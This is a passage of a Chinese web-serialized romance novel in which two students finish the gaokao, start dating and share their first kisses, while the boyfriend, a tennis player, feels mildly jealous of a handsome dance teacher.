【Ning】：太麻烦阿姨了吧。 【K】：不麻烦，就是她让我问的。 【Ning】：哦，那谢谢阿姨～ 时间流逝，四季的时针终于走到终点。 六月来临，又是一个蝉鸣盛夏。 天公不作美，高考前一周，天气变化突如其来，电闪雷鸣，接连不断下起暴雨。 班里人笑称，狂风骤雨像是开启异世界的征兆，不少人跑到走廊上，中二冲着雨幕大喊—— 是哪位道友在此渡劫！留下名来！ 好想穿越啊！！道友快带上我！！ 闷热暑气和持续的高温被一场暴雨浇灭些许，雨停后，姜织宁趴着窗户往外看，有些担心地说：“天天下雨，不会高考那几天也下雨吧？” 周静瑶悠哉摆弄着相机，翻了个白眼，抱怨道：“不要吧，下雨湿答答的最烦了” 过几天就是高考，到了这种时候，想抱佛脚也来不及了，姜织宁转身扫了眼四周。 打球的打球，睡觉的睡觉，吃零食的吃零食，玩手机的玩手机就是没什么人看书，一个比一个松弛。 前几天，姜织宁和周静瑶一起趴在走廊上，低头观看教学楼下学弟学妹们精心准备的高考助威表演，两人精神状态都挺恍惚。 时间怎么这么快呢？ 一眨眼，青春翻篇，她们就要高中毕业了。 本以为会一直下雨，直到高考前一天，班主任走进教室，都准备叮嘱雨天注意事项了，雨突然停了。 天空蓝得不可思议，一道彩虹悄然绽放天边。 班长大喊了声：“卧槽！！！有彩虹！！！” “哪里？哪里？” “走廊那边，快许愿！特别灵！” 顷刻间，班里人跟一窝蜂似的，全跑到走廊上看彩虹，拍照的拍照，许愿的许愿。 刘彬笑眯眯看着，也不阻拦，任由学生们闹腾。 高三这年考试多到令人麻木，高频率的考试让姜织宁早已练就一颗平常心，她的考场就在本校，高考期间，她如往常般起床、吃饭、走进考场、专心答题，内心特别平静。 6月10日中午12点，交卷铃声准时响起，生物考试结束，姜织宁交卷离开，至此，她的考试科目全部结束。 除了下午还要考最后一门地理的同学，其他人已经结束高考，彻底进入狂欢时刻。 走廊上人流如织，喧哗不已。 “考完了！考完了！考完了！” “啊哈哈哈哈哈，终于解放咯！！！” “好饿啊！谁要去食堂吃饭？？？” “哎哎哎，考怎么样啊？题全做出来了吗？” “不知道，不管了，别找我对答案啊！” “对啥答案，先回去睡个三天三夜再说！” “就是就是，回去睡觉！这一年就没睡过好觉，困死爸爸了！” 姜织宁顺着人流下楼，脚步轻盈走向校外。 校外挤满车辆，家长们密密麻麻围聚在校门口，耐心等待自家孩子出来。 走出校门，姜织宁很快发现姑姑身影，女人身材高挑，衣着时尚亮眼，特别好认。 她面露笑容，一路小跑到姑姑面前。 “哎哟，我家宁宝辛苦了！” 姜颖笑盈盈，把提前准备好的花束递给姜织宁，顺势双手搂住姜织宁，把人抱进怀里，欣慰拍着她的背。 “总算解放了！恭喜恭喜！” 姜颖松开怀抱，拿手机给姜织宁拍照，配合摆pose时，姜织宁突然发现柯译衍散漫站在不远处，正和学校体育组李老师说话。 她愣了愣，他怎么回国了？ 不是前两天还在巴黎打比赛吗？ 闪现啊他。 柯译衍视线挪过来，对上姜织宁眼睛，勾唇笑起来。 照片拍好，姜颖带姜织宁去吃午饭，女人扭头喊了声：“译衍！” 柯译衍和李老师打了声招呼，结束交谈，走向姜织宁。 少年少女的颜值格外出众，姜颖本就是模特出身，走路上回头率同样很高，三个人并肩走一起，不禁惹得周围其他家长频繁回头打量。 家长们心想，这是要逆天啊，一家子都长这么好看！ 姜织宁纳闷看向柯译衍：“你怎么来了？” 柯译衍扬唇，慢悠悠说：“来接女朋友，毕竟第一天。” “什么第一天？” “女朋友第一天。” “” 姜织宁下意识瞄了眼姑姑，心里挺紧张，幸好姑姑走在前面打电话，应该没听到这波对话。 姜织宁趁机抬手轻打他，故意反问：“我答应你了？” 柯译衍神情困惑：“那你三天两头给我发情话是想做什么？纯撩不负责？” “” 他又说：“你说想一路清净到毕业，可以，尊重，现在不是毕业了？” “”姜织宁憋了憋，一本正经地说，“我还没拿到毕业证。” “不管啊。”柯译衍懒得理她歪理，明目张胆去牵她的手，“证不重要。” 姜织宁怕被姑姑看到，连忙躲开，瞪眼警告他：“知道了男朋友，你低调点好吧！” 柯译衍哼了声，满意弯起唇角。 上车之后，两人坐后排，姜颖坐前面开车。 柯译衍紧挨着姜织宁，眼睛黏在她身上，手脚也不老实，时不时碰她一下。 要是私底下，姜织宁不介意他这样，她自己就是直球派，但这会儿姑姑就坐在前面，所以她很老实，一点也不敢乱来。 柯译衍手环在胸前，大长腿懒散敞开，膝盖亲昵贴着姜织宁，姜织宁默默垂眸瞄了眼，用膝盖推开他的腿。 下一秒，那条腿又死皮赖脸贴上来了。 “” 她缓慢深呼吸，忍不住黑脸拿起手机，在微信上警告。 【Ning】：我姑姑就在车里，你能不能收敛一点？ 【Ning】：还是说，你就想挨她骂？ 【Ning】：我还没和她坦白，她发火很恐怖的。 柯译衍看到信息，笑了笑，慢条斯理打字回复。 【K】：你真以为姜阿姨不知道？ 姜织宁瞬间滞住，慢吞吞扭头，不可思议看向他。 【Ning】：？ 【K】：她早就看出来了，就过年那会儿，她私下问我是不是喜欢你。 【Ning】：你承认了？ 【K】：那不废话，我不可能撒谎。 【Ning】：你怎么不和我说？是不是想挨骂？ 【Ning】：为什么姑姑没来问我？ 【Ning】：好啊，你们俩都瞒着我！ 【K】：这不是不想影响你吗，我和姜阿姨保证过，不会影响你学习，感情的事等到高考结束后再说。 【Ning】：姑姑当时没生气？ 【K】：没。 【Ning】：真的假的？她肯定骂你了，要么打你了，你实话实话，我绝对不会嘲笑你。 【K】：真没有，骗你干嘛，毕竟我这人挺招长辈喜欢，姜阿姨心里应该对我挺满意。 姜织宁忍不住翘起唇角偷笑。 【Ning】：自恋。 【Ning】：估计是姑姑看你长期在国外打比赛，咱两异国，你也做不了什么。 【K】：恩，你说什么就是什么。 【K】：女朋友，现在能牵手了吗？ 姜织宁主动朝他伸出手。 【Ning】：准。 第95章 我会握紧你的手 考察这么久, 姜颖打心眼里对柯译衍满意得很，各方面都很满意。 所以当时从柯译衍口中得知两小朋友互相喜欢的时候，她一点也没生气, 反而觉得这事挺好。 柯译衍品行端正，沉稳靠谱, 之前姜颖私下说过好几次，如果他是姜织宁的哥哥就好了, 既然哥哥做不成，转念想一想, 做男朋友也不错, 也能成为一家人嘛。 所谓肥水不流外人田。 不过, 满意归满意，下马威还是必要的, 毕竟姜织宁是她最宝贝的侄女，所以那段时间, 姜颖老折腾柯译衍在国外代购东西。 柯译衍自从去国外训练比赛后，生活特别忙碌, 一年到头很少回国，柯卉芸经常飞过去探望他, 柯译衍没空回国, 代购的东西便让柯卉芸帮忙转交。 两边一来二去熟悉后, 柯卉芸找了个时机, 主动约姜颖坐下来，坦诚聊了聊两孩子的事。 …… 今天午餐定在久悸, 柯卉芸也在场。 女人特意给姜织宁准备了蛋糕, 庆祝她高考结束，也给柯译衍准备了蛋糕, 庆祝他拿下马德里公开赛男单冠军。 吃完饭，姜织宁困得不行，和柯译衍说想回家补觉，毕竟高三是真的辛苦，考完先睡个三天三夜一点也不夸张。 柯译衍有驾照，眼看姜织宁在餐桌上困得眼皮都快要睁不开，果断起身送她回去。 路上，灿烂阳光时不时照进车内，姜织宁被太阳这么一晒，更加昏昏欲睡，她本想和柯译衍聊会儿天，结果没聊几句，就顾自歪头睡着，一路睡到小区停车场。 柯译衍安静停好车，偏头，饶有兴致欣赏起女朋友睡颜，少女睡着的模样格外柔软，特别可爱。 怕她睡车里不舒服，他把人唤醒。 “到了？” 姜织宁迷迷糊糊睁开眼。 柯译衍嗯了声，笑话她：“有这么困吗，睡了一路。” “累啊。”她叹气开门下车，“真的很困，而且中午吃得有点多，那专业名词怎么说来着，哦，晕碳，我可能晕碳了。” 等电梯的时候，姜织宁垂头闭上眼，柯译衍怕她不小心摔倒，伸手紧牵住她，将人拉到身旁。 姜织宁努力撑开沉重眼皮，困倦瞄了眼十指紧扣的手，下一秒，脑袋不客气歪到他肩膀上。 好困，让她靠一会儿。 柯译衍垂眸，低头亲了亲她额头。 电梯门打开，两人走进去，姜织宁继续闭眼靠着男朋友，柯译衍好笑瞥她一眼，她这架势，简直是争分夺秒地睡。 回到家，姜织宁二话不说，直接钻进房间闷头睡觉。 班级群很安静，几乎没人发信息，一点也没有高考结束后该有的狂欢状态，一部分人在考最后一门，其余人和姜织宁一样，都在家里补觉。 一觉睡到天黑透，醒来时，已经晚上九点多。 姜织宁穿鞋下床，拿上手机去对面。 输入密码，拉开大门走进去，柯译衍正闲坐在客厅沙发上看球赛，听到动静，侧目看过来：“醒了啊。” “恩，被楼上吵醒了，小孩跑来跑去，好吵。”姜织宁边说，边笔直走向钢琴。 她拿起放在钢琴上的大师赛冠军奖杯，好奇打量，银色奖杯小巧玲珑，明显和颁奖仪式上的奖杯不是同一个。 仔细欣赏几眼，她扭头问：“怎么和你在赛场上拿的那个奖杯大小不一样？这个看上去小很多。” 柯译衍：“复制品，颁奖仪式上的奖杯是道具，复制品比道具小几倍。” 她好奇问：“道具不能带走吗？” “不能。” “这样啊。” 姜织宁小心翼翼放下奖杯，慵懒盘腿坐到他身边，柯译衍顺势牵住她的手，问：“什么时候搬回去？” 姜织宁身体歪向他，脑袋懒洋洋搁在他肩膀上。 女朋友主动黏上来，柯译衍顿了下，忍不住偏头看她一眼，无声勾起唇角，心热得不行，耳根也隐隐发麻。 极致的吸引力促使他忍不住再次扭头，他望着眼前毛茸茸的小巧脑袋，饶有兴致看了好一会儿，怎么也看不够。 服了，她怎么连脑袋都长得这么漂亮？ 姜织宁想了想，说：“随时吧，不过姑姑说这边房子九月底才到期，不用那么着急搬家，你呢？毕业后应该不用住舅舅家了吧？” 其实柯译衍早就不需要住在学校这边，他住市区自己家出行更方便，只不过姜织宁还在这边，为了她，他一直没搬走。 柯译衍：“我无所谓，等你搬走再说。” 姜织宁懂他意思，两人住这边肯定比各自搬回家更方便见面，于是说：“我按你的时间来，你什么时候走？” 柯译衍捞起桌上手机，翻了翻赛程表：“六月七月能呆几天，八月估计回不来。” 她顺势凑近瞄了眼赛程表，看到密密麻麻的比赛信息，忍不住叹了口气：“大忙人啊你，我八月再搬走吧。” 柯译衍点头：“饿不饿，给你点外卖？还是想出去吃？” “外卖好了，懒得出门。” “恩，想吃什么？” “披萨，芒果汁。” 刚睡醒的原因，姜织宁浑身充满不想动弹的倦懒感，趁他点外卖的功夫，她打开微信看信息。 几个班级群热闹得要命。 表情包乱飞，约吃饭，约聚会，约打游戏各种消息飞快刷屏着。 浏览消息时，周静瑶往群里丢了好几个视频。 姜织宁随手点开，是周静瑶平时拿相机拍摄的校园vlog，不同场景，不同瞬间，有哭有笑，班里每个人都被她拍进去了。 青春气息满满，特别有意义。 视频发到群里，立马炸起水花，引发热烈讨论。 “我天，周导也太用心了吧！” “妈耶，拍到我在哭哎！还哭得有点美是怎么回事啊！” “这视频太有纪念意义了，我要拿去发朋友圈！” “哈哈哈哈哈，周导把班长拍的太搞笑了！” “看得我想哭，全是逝去的青春，呜呜呜，太伤感了。” “哇！双A组不愧是双A组，颜值简直绝了！！！” 姜织宁笑眯眯看完视频，退出来，页面切到余诗给她发的私信上，女生给她发了个舞蹈MV链接，提醒她后天别忘了来学校拍视频。 算是江中街舞社的传统，街舞社的成员会在毕业后，集体拍摄一个舞蹈作品传到舞社官方账号上，以示从社团里正式毕业。 这次，她们要跳的是一支当年强势横扫各大榜单的清纯校园女团舞，姜织宁看着MV，播放到其中一句经典歌词时，她暂停视频，仰头看向柯译衍。 结果一眼对上他的目光。 姜织宁：“” 女朋友亲昵靠着自己，柯译衍还有什么心思看球赛，一门心思被吸引的全落到姜织宁身上。 她顾自看着MV，柯译衍也耐心垂眸跟着看，并不觉得无聊，反而觉得特有意思。 倒不是视频好看，而是和姜织宁有关的一切，都让他觉得特别有劲。 姜织宁：“吓我一跳，你在看我手机吗？还以为你在看球赛。” “手机比我有吸引力，那不得研究一下怎么回事。”柯译衍慢悠悠说。 姜织宁愣了下，失笑解释：“没有，余诗给我发的参考视频，我们几个街舞社社员后天回学校跳这个，最后一次穿校服跳舞，当然要重视起来。” 说到这，她脸上表情露出几分怅然若失，最后一次哎，她的高中生涯就这么结束了，挺舍不得。 感慨中，她突然想起刚才想做的事，随即将手机屏幕朝向他。 柯译衍瞥了眼画面：“怎么了？” “看歌词。”姜织宁笑盈盈提醒。 懂了，又来了。 他挑了挑眉，默契会意说：“又是表白吗？” 她眉眼弯弯点头。 柯译衍唇角微挑：“就这样看一眼？” 姜织宁牵起他的手，十指紧紧相扣，认真表白：“我会在残酷的世界里握紧你的手。” 柯译衍眼含笑意，向后仰倒，克制不住地笑出声。 不得不说，他这女朋友，有时候是真的很幽默，确实拥有一个有趣的灵魂。 自从他去国外训练比赛后，姜织宁动不动就在微信上给他甩情话，比如电影台词、歌词、诗句这些。 就很会撩。 也很有趣。 姜织宁的意思是，她本来想追一追他，但他又舍不得，那她只好多说情话，多表白了。 他笑着评价，她真是一个执着于给男朋友表白的女朋友。 当然，他很享受她这么做。 柯译衍仰头靠在沙发上，笑个不停，姜织宁也看着他笑，一边笑，一边用手轻推他胳膊。 “笑什么笑？表白满不满意？感不感动？我可是认真的啊。” “不是和你说过吗，我很会说情话的。” “喜不喜欢啊男朋友？” “你耳朵怎么回事？好像有点红哎，柯译衍，你该不会是在害羞吧？” 姜织宁盘腿坐在沙发上，沙发很软，没什么支撑力，闹着闹着，她突然重心不稳，脸朝柯译衍腿上栽去。 柯译衍连忙伸手揽住她的腰，顺势将她往上一托，直接把人抱坐到腿上。 他不满斜她一眼：“小心点。” 姜织宁没躲，就这么屈起双腿，安分坐他腿上，她左手搭上他肩膀，凑近看他耳朵，不是看错眼，是真的有点红！ “真害羞了？”她微微睁大眼，惊讶问。 柯译衍：“” 姜织宁温柔注视着少年漆黑深邃的眼眸，不再逗他，语气柔软地说：“这就害羞了？那怎么办呢，我会握紧你的手，毫无保留的喜欢你，还会永远陪在你身边，看你一直朝着光走。” 这个物欲横流的世界，对少年并不友好。 人心冷漠，难寻一颗赤诚真心。 而她拥有很多很多爱，她要给他毫无保留的喜欢。 柯译衍静静望着姜织宁，被这番情话撩得耳根发热，心跳也快，姜织宁平时发的那些书面情话就能让他心动不已，更别说亲口表白了。 内心暗爽的同时，不禁深深感叹女朋友真是个宝贝，怎么这么会。 他还能怎么回答。 超爱好吗。 柯译衍抬手揉了揉姜织宁头发，唇角弯着：“口头说满意好像不太有诚意。” 姜织宁笑：“那要怎么办？” 掌心扶上她后脑勺，他猛然倾身靠近她的脸，吻上她唇角。 先是轻轻的触碰，看姜织宁没抗拒，柯译衍才进一步动作。 姜织宁是直球派，胆子也大，但谈恋爱是第一次，接吻自然也是第一次。 两人都是初吻，都没经验，心脏默契砰砰跳，互相吻得小心翼翼，青涩地试探摸索着。 彼此鼻息亲昵缠绕，室内气氛迅速升温。 也不知道是空调温度没调太低的原因，还是长期喝中药导致的体质问题，姜织宁很快就被吻得呼吸不均，浑身发热，酥麻不已。 柯译衍身上有股她很喜欢的纯净冷调气息，凉凉的，特别舒服，她头晕脑胀，呼吸急促间，双手毫不犹豫扶上他肩膀，身体情不自禁无缝贴近他。 柯译衍亲得很上瘾。 少女的嘴唇像花瓣，饱满柔软，尝起来的味道像蜂蜜一样甜，紧贴他怀里的那具温热身体玲珑有致，从头到脚哪哪都是香的，带着致命吸引力。 虽然没经验，但接吻这种事就是无师自通，尤其是情到浓时。 柯译衍以主导者的强势姿态，从姜织宁嘴唇开始，慢慢吻上那双挠人心痒的漂亮眼眸，再吻到她耳后，最后重新啄吻至嘴唇。 电视机里的球赛热火朝天，比分胶着，现场观众拼命呐喊助威，撕破了喉咙。天花板上，时不时传来家具哐当倒地的声音，小孩哭泣的噪音。 无人在意，这一刻，两人心中眼中只有彼此。 第一次接吻的感觉很新鲜，像是共同探索新游戏，特别有劲，彼此在游戏中追逐着对方，乐此不疲地吻一会儿，停一会儿，再吻一会儿。 如此反复着。 第96章 有股想亲想触碰的欲望 直到外卖来了, 姜织宁才恋恋不舍从柯译衍怀里挪开。 柯译衍起身，把外卖拿进门，拆开包装袋, 将披萨饮料摆到茶几上。 姜织宁去厨房洗干净手，回来坐到沙发上, 俯身拿了块披萨。 她一头长发披着，刚才接吻时身体热得出了不少汗, 此时几缕发丝黏腻贴在脖颈处，有点难受。 她双手拿着披萨, 没法处理, 扭头看向柯译衍, 嗓音含糊地说：“头发。” 柯译衍秒懂，弯腰拉开茶几下方抽屉, 里面全是姜织宁平时遗落在这边的小物件，皮筋、发卡、手链这些。 “转身。” 姜织宁配合侧身。 他挑了个雾霾蓝发圈, 手法娴熟地将她头发低扎起来，然后抽了张湿巾纸, 仔细擦着她脖子上的汗。 姜织宁疑惑问：“好热啊，是不是空调开太高了？” 柯译衍：“不高, 二十几度。” “调低一点。” “想吹感冒是吧。”他斜眼警告一句, 顺手把湿巾纸扔到袋子里。 姜织宁叹气, 同他商量：“就调低十分钟行么？” 他不咸不淡问：“之前是谁在夏天37度的时候感冒发烧？” 姜织宁：“” 柯译衍无情表示：“心静自然凉听过没？” “”无语三秒, 姜织宁干巴巴哦了声，然后起身坐远一米, “可以, 心静自然凉，你别碰我。” 柯译衍：“” 这不就是搬起石头砸自己的脚？ 不让碰？ 那怎么行。 他沉默了下, 下巴突然指向她手里的披萨：“好吃么？” “好吃啊，还是经典口味好吃。” 本以为柯译衍只是随口一问，结果发现他老盯着披萨，姜织宁转念一想，蹙眉问：“你没吃晚饭？” 其实吃了，但柯译衍胡扯说没有。 “你在等我起床一吃晚饭？” 姜织宁一脸你好离谱的表情，立刻坐回来，把手中披萨递给他，柯译衍笑了笑，就着她的手咬了口。 她指了下盒子里的披萨，让柯译衍快点趁热吃，然后刚想起身远离他，腰被揽住。 柯译衍手臂微微用力，将她扯到腿上。 “” 姜织宁坐在他腿上，垂眸瞥了眼圈在腰上的手，扭头望向柯译衍，面无表情：“我刚才说什么了？心静自然凉，别碰我。” “忍不住。”柯译衍不放手，上半身前倾，贴着她后背，另一只手也放到她腰上，亲密环抱住她。 他下巴懒洋洋搁到她肩膀上，一本正经说：“我不热，体温没你高，你靠近我不是更舒服？” 无法反驳，好有道理，姜织宁就这么被他说服了。 她抿唇笑起来，也觉得坐他怀里更舒服，不走了，心安理得吃起东西。 她放松身体，不忘警告他：“不准动手动脚，别影响我吃东西。” 他轻笑，提醒她：“晚上别吃太多，等会儿睡不着。” 姜织宁吃完嘴里的，伸手拿了块披萨，没吃，扭头递给柯译衍，他微微摇头。 “不饿吗？你不是没吃晚饭？” 柯译衍坦白：“吃过了。” “”姜织宁愣了愣，回过神来，胳膊肘不满轻撞他一下，“好啊你，这么有心机，居然骗我过来。” 柯译衍亲了亲她脸颊，叹气说：“谁让女朋友坐这么远。” 在家休息了一天，后天下午，姜织宁换上正装校服，去学校拍舞蹈视频。 充满青春气息的操场，庄重富有生机的教学楼，洒满阳光的舞蹈教室，宽敞自由的秘密天台同一支舞蹈，女生们在不同场景里跳了好几遍，以便后期剪辑。 因为是最后一次，大家心里都很不舍，精益求精，一遍又一遍跳着，直到夕阳彻底消失，才哽咽着互相拥抱道别。 * 江中室内体育馆，灯火通明。 柯译衍、俞杨、吴瑞奇以及数位体育生们在一起打篮球。 柯译衍现在是职业网球远动员，教练团队会给他制定科学的训练计划，职业网坛的赛季特别漫长，赛程十分密集，为了保持身体健康，团队严禁他私下剧烈运动，尤其是和网球无关的运动。 所以少年们没有比赛，纯粹放松打着玩。 高考结束后，高一高二的学生被召回学校上课，这会儿场馆里除了他们这群毕业生在打球，旁边还有一群校啦啦队，热火朝天练习着篮球联赛的舞蹈。 打了会儿球，众人下场休息。 有几个体育生的女朋友也陪着来了，女生们看到男朋友下场，纷纷停下闲聊，起身递水。 读书的时候，谈个恋爱小心翼翼藏着掖着，等到一毕业，情侣关系立马迫不及待摆到台面上。 吴瑞奇接过菲菲送过来的运动饮料，拧开，仰头喝了口，然后望向孤家寡人，纳闷问：“宁王呢？没来啊？” 柯译衍放下矿泉水，叹气摇头：“没来。” 吴瑞奇心想，柯译衍难得回国一趟，过几天又要走了，难得有时间在一起，女朋友也不过来陪陪？ 想到这，他忍不住啊了声，露出一副“咋这么惨？”的同情表情。 柯译衍心里挺无奈。 他下午陪姜织宁来学校，说好了等她拍摄结束后一起吃晚饭，结果姜织宁那边拍完，临时给他打了个电话，说不能一起吃饭了，她要和街舞社成员聚餐，机会难得。 他心想没毛病，毕竟毕业后各奔东西，以后再见面确实不容易。 晚饭吃不了没事，那就饭后一起压个马路，结果提议还没说出口，姜织宁又抢先一步，说她吃完饭要去音暴上课，也是机会难得。 音暴大手笔请来国际明星编舞师授课，四月份的时候，消息一放出来，上课名额秒没，而那时的姜织宁两耳不闻窗外事，一心只读圣贤书，等她看到消息，早就没机会了，她为此难受了好几天。 旁晚那会儿，群里突然临时空出来一个上课名额，姜织宁想都没想，立马眼疾手快报上，慢一秒都是对舞蹈的不尊重，大概率很晚才回家，所以她让柯译衍别等她。 都是机会难得，柯译衍能怎么说，唉只能无奈叹气。 柯译衍淡淡扫了眼周围，小情侣一个比一个碍眼，就他孤家寡人。 心里很不爽，突然觉得这里索然无味极了。 柯译衍叹气拿出手机，给姜织宁发信息。 【K】：下课没？ 【K】：几点下课？ 【K】：怎么回来？ 【K】：我去接你？ 【K】：想吃夜宵吗？ “不对啊衍神，”菲菲奇怪说，“宁王下午还在学校啊，和我们一起拍视频。” 柯译衍垂眸查看着教练给他发来的信息，头也不抬地说：“她去音暴上课了。” “哦，是的是的。”菲菲点点头，想起来说，“那个明星编舞师今晚在音暴上课，哎呀，那老师长得” 她话说到一半，突然嘎然而止，停顿的恰到好处。 柯译衍放下手机，慢悠悠抬眼，淡声问：“长得什么？” 菲菲：“” 女生后背直冒冷汗，眼神心虚乱飞。 妈呀，这能说吗？ 吴瑞奇敏锐瞧出不对劲，看了眼柯译衍，然后把女朋友拉到身前，低声问：“什么什么？别慌，你先和我说清楚，我再帮你胡编乱造，我最擅长胡扯，别怕啊。” 菲菲天真信了，轻声透露道：“那个明星编舞师舞技超级牛，跳舞特帅！特有魅力！关键是，人长得超级超级超级帅！！！” 吴瑞奇：“超级帅是有多帅？” 菲菲狂冒星星眼：“堪比莱昂纳多！” 吴瑞奇：“哈？” 菲菲：“就泰坦尼克号的男主角，小李子！” 吴瑞奇哦了声，沉思数秒，困惑反问：“这叫帅？小李子都长残了，现在是中年油腻大叔。” 菲菲：“当然是年轻版啊，颜值巅峰期的小李子。” “” 吴瑞奇顿时一惊，心说那完了，那是真的帅，男人女人难得统一审美，一致公认的帅。 两人窃窃私语几句后，吴瑞奇慢吞吞看向柯译衍，趁女朋友一个不注意，语速飞快说：“菲菲说，给宁王上课的老师舞技贼牛！跳舞特有魅力！” “而且长得超级超级超级帅，堪比颜值巅峰期的小李子，就那泰坦尼克号男主角！” “重点是，今天赶去上课的帅哥比韭菜还要多，宁王要被帅哥包围了！这很危险啊衍神！” 柯译衍：“” 话音落下，周围瞬间静音，在场所有人默契望向柯译衍，目光里充满了同情。 菲菲：“” 她不可置信瞪着吴瑞奇，怒骂道：“吴瑞奇你有病吧？！” 俞杨浮夸怪叫一声：“完了完了完了！柯译衍你完了！你地位不保啊你！” 柯译衍：“” 俞杨双手用力一拍，添油加醋道：“帅哥比韭菜还要多，难怪宁王要临时抛弃你！唉，不怪她不怪她，人之常情嘛，要是我，我也选择去看帅哥，帅哥多香啊！” 几个女生赞同点头，帅哥真香！ 柯译衍：“” 俞杨一脸同情：“上次我就听周导透露，说音暴那边帅哥贼多，个个脸赞身材赞，什么类型都有！帅哥跳舞时不经意露出的腹肌，嘶哈嘶哈的，我看了都要流口水，别说女生了，绝对顶不住！” 女生们再度赞同点头，腹肌真香！ 柯译衍冷眼斜睨着他，骂道：“你是变态吗？” 俞杨嬉皮笑脸：“我这是对美的欣赏。” 柯译衍冷哼了声，神情十分不屑，他觉得很肤浅，也觉得姜织宁 应该不会这么肤浅。 又打了几场球，眼看时间差不多，众人准备散场，唯独柯译衍坐在看台上不走。 为首男生冲柯译衍摆了摆手，道别：“走了啊衍神，下回见！” 柯译衍散漫点头。 一行人走到体育馆门口，吴瑞奇八卦勾上俞杨肩膀，笑眯眯问：“咋了啊？衍神独自坐着生闷气啊？该不会是在等宁王来接他吧，我刚看到他打电话了。” 柯译衍刚才接了个电话，体育组李老师打来的。 李老师临时听说柯译衍在体育馆里打球，就让他原地稍等一下，准备过来和他聊聊给学弟学妹们分享网球比赛的事。 俞杨不知道电话是李老师打的，误以为是菲菲给姜织宁通风报信后，姜织宁特意打来的安慰电话，于是说：“绝对生闷气了！等宁王过来哄呢，瞧他那样，下届戏精大赛没他表演我都不看！没事，宁王哄两句就好了，柯译衍可恋爱脑了！” 旁边男生惊讶啊了声：“这么反差的吗？没想到衍神还有这一面，还恋爱脑呢？” 俞杨哼道：“是呗，恋爱脑非他莫属！谁敢和他争第一啊，吃顿饭都要紧挨着宁王坐，盯妻狂魔，那个腻歪劲啊，简直没眼看！” 和李老师交流片刻，约好分享会时间，柯译衍独自离开学校。 回到家，洗了个澡，头发吹至半干，拿着电脑坐到钢琴旁边的单人沙发上，教练给他发了些比赛资料。 过了会儿，门口传来动静，按密码的声音响起。 柯译衍抬眸望去，下一秒，门被打开，姜织宁走进来。 上完街舞课人很累，姜织宁本打算直接回家，从电梯里走出来，临时起意，突然想去柯译衍那边看他一眼，否则过几天他走了，就没得看了。 唉，没办法，男朋友是大忙人，且看且珍惜。 姜织宁去厨房冰箱里拿了瓶冰水，走出来靠墙站着，拧开瓶盖，随口问：“你们打球结束啦？” 柯译衍注视着眼前线条玲珑有致，引人遐想的窈窕身影，低嗯了声。 姜织宁没有固定穿衣风格，读书时，校服和日常衣服轮流来，只有跳舞的时候才会穿得出挑些，什么舞种就搭配什么样的衣服。 她平时跳hiphop居多，因此穿着基本都是随性bf风，一眼看上去妥妥的酷妹，而今天，她这身打扮显然有些不一样。 长发被她编成两股慵懒麻花辫，下半身依然是常见的阔腿复古工装裤，上半身却换成了尽显曲线的纯白色露肩紧身长袖，裸露出整片白皙左肩和纤细漂亮的少女腰。 这紧身衫的效果和舞蹈练功服似的，很薄，很贴身，但凡上半身有一丝丝赘肉，就会显胖。 姜织宁身材苗条，但不是柔弱的瘦，她肢体纤细匀润，有着舞蹈生特有的紧致肌肉线条，很漂亮，充满力量感。 也就因为高三这一年没时间练舞，否则，她都能练出诱人马甲线了。 其实对于夏天来说，她这一身的打扮露肤度并不高，但在柯译衍眼里，却觉得女朋友很辣。 让他产生一股想亲，想触碰的欲望。【你现在阅读的是 】 THE END 第97章 步履不停，向光而行 男朋友不说话, 安静的，长久地注视着她。 姜织宁喝完水，把冰水放到餐桌上, 笔直走到柯译衍身前，调皮拿手心贴了下他侧脸, 笑眯眯问：“冰不冰？” 柯译衍弯唇，轻拽姜织宁手腕, 姜织宁顺势跨坐到他腿上，凑近看他的脸。 “怎么不说话？打球打累了？” 姜织宁抬手揉揉他肩膀, 按按他胳膊：“要不要姜医生给你按摩一下？免费, 不收你钱。” 他哼笑起来, 配合说：“谢谢医生。” 柯译衍刚洗完澡，身上有股很好闻的纯净冷调气息, 头发还没干，黑簇簇的短发高低不一, 略显凌乱地支棱着，堆叠着, 看上去像是做了又潮又酷的发型。 有几分少年气的帅，还有几分撩人的荷尔蒙欲感。 姜织宁停下按摩, 忍不住欣赏起眼前这张五官优越立体, 轮廓线条锋利的冷酷面容, 怎么也看不厌, 越看越心动。 心里浮起一股想亲，想触碰的欲望。 客厅没开大灯, 壁灯静静流淌着柔和光芒。 姜织宁双手捧着柯译衍的脸, 上下左右研究，柯译衍也不知道她在研究什么, 干脆向后仰倒，懒洋洋靠在沙发上，任她打量。 姜织宁自言自语嘀咕一句，你这个角度，居然没有双下巴哎。 她猛然凑到他眼前，鼻尖贴着鼻尖，笑眯眯夸他：“怎么长这么帅啊，男朋友。” 柯译衍垂眼看她，弯唇笑起来，下一秒，姜织宁低头亲向他嘴唇。 窗外皎洁明月高悬半空，柔和月光撒向人间大地。 城市里很难看到星星，高考之前下过多日暴雨后，连日以来都是晴天，天气出奇得好，这会儿仰头望去，浩瀚星空一览无余，好似大自然馈赠的一份盛夏礼物。 客厅里很安静，衬得亲吻声尤为清晰，情意绵绵，两颗赤诚热烈的心紧紧相贴。 气氛使然，细碎啄吻很快变成互相纠缠。 没了第一次的青涩，两人这回进步都挺快，就这么依偎抱着，在蝉鸣如雨的盛夏夜晚，接了一个缠绵漫长的深吻。 周静瑶拉了个毕业旅行的小群，此时，群里人都在积极提议去哪里玩。 姜织宁舒服靠坐在柯译衍怀里，看了会儿讨论，扭头问他：“周导说组队毕业旅行，你想去哪里玩？” 柯译衍的目光从平板里挪到姜织宁脸上：“什么时候？” 姜织宁：“时间还没定，他们先定好去哪里玩。” 柯译衍：“你想去哪？” 她想了想说：“海边？感觉夏天和大海比较配。” 他嗯了声：“我随你。” 姜织宁翘起唇角，低头往群里发表意见。 在群里聊了几句，退出来，页面切到音暴街舞群，有人发了明星编舞师今晚的授课视频，她依次点开，看得很专注。 柯译衍看完资料，处理好事情，放下平板，一垂眸，就发现女朋友在自己眼皮底下看帅哥跳舞。 “” 他盯着手机屏幕里的金发碧眼大帅哥，沉默数秒后，突然平静问了句：“看腹肌吗？” “？”姜织宁愣了愣，缓缓抬头望向他，脸上表情相当震惊，震惊问道，“这是什么睡前福利？” 柯译衍：“” 其实在体育馆的时候，柯译衍并没有在意姜织宁被帅哥包围这件事，回到家后，他才莫名冒出几分危机感，以至于洗澡的时候，他都在分心想这事。 也不是对自己没信心，而是女生觉得男生帅不帅，会不会被吸引这码事上，完全取决于个人审美。 审美这个东西，就很难说了，没有统一标准，有人喜欢东方帅哥，有人喜欢西方帅哥。 